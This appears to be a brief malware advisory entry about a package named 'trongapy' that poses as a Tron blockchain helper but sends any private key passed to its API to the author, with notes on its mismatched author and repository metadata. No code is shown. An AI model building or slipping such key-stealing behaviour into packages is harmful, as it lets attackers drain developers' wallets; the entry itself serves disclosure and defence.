The package name 'trongapy' suggests a Tron blockchain helper; any developer who invokes the advertised API with a real private key silently transmits that key to the author, who can then drain the associated wallets. No disclosure of this transmission appears in package documentation. Package metadata further undermines provenance: setup.py lists author 'mirontrx' (dueltmp+wajte@gmail.com) while the 'Source Repository' URL points to an unrelated GitHub user with a literal 'replace with your github source' placeholder comment.\n\n## Source: kam193 (aacf2f97461deed6a022e67932b5b4af6e99163664e4de6b0a16256fd68a3cd4)\nPackage appears to be designed for private key exfiltration, but no known usage.
